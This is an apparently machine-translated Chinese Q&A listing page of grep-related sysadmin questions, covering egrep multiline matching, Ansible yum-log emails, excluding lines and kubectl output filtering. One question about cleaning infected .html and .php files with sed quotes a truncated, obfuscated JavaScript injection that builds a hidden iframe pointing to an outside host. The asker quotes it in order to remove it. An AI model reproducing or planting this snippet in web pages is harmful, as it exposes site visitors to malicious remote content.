标签: grep

egrep 匹配组不打印?

我正在尝试创建一个 bash 脚本,该脚本将使用 egrep 从文件中 grep 行。我已经创建了应该对我想要的信息进行分组的正则表达式,问题是试图获得输出。我一直在使用以下命令对其进行测试,但运行时没有打印任何内容。如何打印 -{80} 和 Disconnected 之间的多行?

egrep -E "^-{80}$\r?\n?([:ascii:]*)Disconnected from Server" testing.txt
Run Code Online (Sandbox Code Playgroud)

文件:testing.txt

Connected to the server: name here

Some header text.
More text to go though...
--------------------------------------------------------------------------------
The information that I want, would be in here;

Including this line as well #$
and this one.

Disconnected from Server...
Run Code Online (Sandbox Code Playgroud)

bash grep regex

3
推荐指数
1
解决办法
994
查看次数

Ansible yum update 然后将结果通过电子邮件发送给我

编写剧本以执行 yum 更新,然后从每个服务器获取电子邮件。我希望电子邮件包含yum.log的更改内容。

IOW,我想要以下结果:

grep [today's date] /var/log/yum.log
Run Code Online (Sandbox Code Playgroud)

从每个服务器通过电子邮件发送。

我尝试使用shell:执行 grep 然后发送邮件:

    shell: grep '^`date +"%b %d"`' /var/log/yum.log | mail -s "updates applied to `hostname -s` today" updatereports@mydomain.com
Run Code Online (Sandbox Code Playgroud)

它只是发送一封空白电子邮件。

还尝试使用邮件功能,但我正在努力将多行变量转储到邮件正文中:

- name: test result
  ignore_errors: yes
  shell: grep "`date '+%b %d'`" /var/log/messages
  register: updated

- name: mail result
  mail:
    to: updatereports@mydomain.com
    subject: "updates applied to {{ ansible_hostname }} today"
    body: "{{ item }}"
    with_items: "{{ updated.results|map(attribute='stdout_lines')|list }}"
  when: updated.stdout
Run Code Online (Sandbox Code Playgroud)

它也发送,但打印时间戳,然后为 yum.log 中的每个匹配行生成一行错误:

['Sep 12 16:15:28 host-ng …
Run Code Online (Sandbox Code Playgroud)

email grep yum ansible

3
推荐指数
1
解决办法
5984
查看次数

如何在 linux 中模拟旧的 unix grep -S 严格功能

我正在搜索命令的输出,我希望只返回特定的、严格的结果。

我记得 grep 的一些迭代有一个严格的选项-s/ --strict

例如,grep -s bytes只会返回提到“字节”一词的条目,而不是每个包含字节的词,如“兆字节”、“千字节”等。

linux grep centos

2
推荐指数
1
解决办法
647
查看次数

按它们出现的顺序从 grep 获取结果?

我正在尝试 grep 日志文件以仅显示与某个会话 ID 匹配的行。到目前为止,它工作得很好。但是,当我获得 grep 命令的结果时,我没有按照条目出现的顺序获得条目。

如果目录中的日志文件有以下数据:

SESSNUM=4437 login.jsp
SESSNUM=4437 welcome.jsp
SESSNUM=4437 info.jsp
SESSNUM=4437 logout.jsp
Run Code Online (Sandbox Code Playgroud)

我输入:

grep SESSNUM=4437 * 
Run Code Online (Sandbox Code Playgroud)

我得到这个信息:

SESSNUM=4437 logout.jsp
SESSNUM=4437 welcome.jsp
SESSNUM=4437 login.jsp
SESSNUM=4437 info.jsp
Run Code Online (Sandbox Code Playgroud)

有没有办法让 grep 按照它们在日志文件中出现的顺序显示匹配的行?

谢谢!
IVR复仇者联盟

shell grep unix-shell

2
推荐指数
1
解决办法
5992
查看次数

将 Linux 终端重定向到剪贴板

是否可以将 linux 中终端的输出重定向到剪贴板?现在我正在使用 Ubuntu 9.10,我只需右键单击并“复制”所选文本。如果我能这样走会容易很多……

grep sometext myfile || clipboard
Run Code Online (Sandbox Code Playgroud)

grep clipboard

2
推荐指数
1
解决办法
2709
查看次数

如何使用 sed 删除多个文件中的恶意软件代码?

我在服务器上的许多 .html 和 .php 文件中都有这个恶意软件代码。我需要使用删除它们

  • sed -i expression
  • 搜索目录下的所有文件 /home/
  • 找到受感染的文件
  • 通过用空格替换它来删除代码

    VAR usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66'; VAR nimbchnzujc = 'PaBUTyjaZYg72'; VAR szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22'; VAR yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22'; VAR xwojmnoxfbs ='PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22' ; VAR mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f'; VAR nixyhgyjouf =“koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = '';VAR rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR niupgeebkhf = ''; VAR yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';VAR tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61'; VAR zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e'; VAR yydszqnduko =新的Array(); yydszqnduko [0] =新阵列(usikwseoomg + nimbchnzujc + szwtgmqzekr + yvofadunjkv + ylydzxyjaci + xwojmnoxfbs …

linux grep sed

2
推荐指数
1
解决办法
2230
查看次数

忽略行 grep

我正在运行的进程输出了一条非常烦人的消息。我宁愿不删除该行,而只需使用 grep 将其删除

要忽略的所有消息都包含“请求”一词。我可以很容易地只用这些行

$> myproc | grep requests
Run Code Online (Sandbox Code Playgroud)

我将如何使 grep 而不是 IGNORE 行与单词请求?

grep regex ignore

2
推荐指数
1
解决办法
318
查看次数

GREP 显示包含这个但不包含那个的行

我想搜索包含“已上传”但不包含“09”的行

有没有办法用grep来做到这一点?

(如果重要的话,CentOS 5.6)。

linux search grep centos

2
推荐指数
1
解决办法
362
查看次数

ssh 会话中的自动换行不适用于 grep

当我通过 ssh 连接到我的 Linux 服务器并像这样使用 grep 时:

grep '超时超时' 日志文件 | 较少的

自动换行不起作用。

但是,如果我使用相同的命令但先使用 less,如下所示:

更少的日志文件| grep '超时'

线条环绕。我不确定是什么问题,或者这是否正常。但无论我使用什么 ssh 客户端,它都会发生。我已经尝试过 putty 和 Ubuntu 客户端。我怎样才能解决这个问题?

linux ssh grep

2
推荐指数
1
解决办法
918
查看次数

从格式化为带空格的表的字符串中,如何 grep 所有列都相等的所有值?

问题来自issue: https://github.com/kubernetes/kubectl/issues/717

Kubectl 在如下表中返回信息:

$ kubectl get replicasets -n kube-system

NAMESPACE     NAME                       DESIRED   CURRENT   READY   AGE
kube-system   datadog-657c65b75c         2         2         2       11d
kube-system   kube-ops-view-5d8df57fc    1         1         0       33d
Run Code Online (Sandbox Code Playgroud)

要在不使用 json 格式化程序的情况下查找输出中的所有偏差,我可以执行以下命令:

grep -v '0         0         0\|1         1         1\|2         2         2\|3         3         3\|4         4         4\|5         5         5'
Run Code Online (Sandbox Code Playgroud)

什么 grep 命令可以涵盖所有可能的情况?目标是找到任何 DESIRED != CURRENT、CURRENT != READY 或 DESIRED != READY 的 ReplicaSet。

grep

2
推荐指数
1
解决办法
2851
查看次数

标签 统计

grep ×10

linux ×4

centos ×2

regex ×2

ansible ×1

bash ×1

clipboard ×1

email ×1

ignore ×1

search ×1

sed ×1

shell ×1

ssh ×1

unix-shell ×1

yum ×1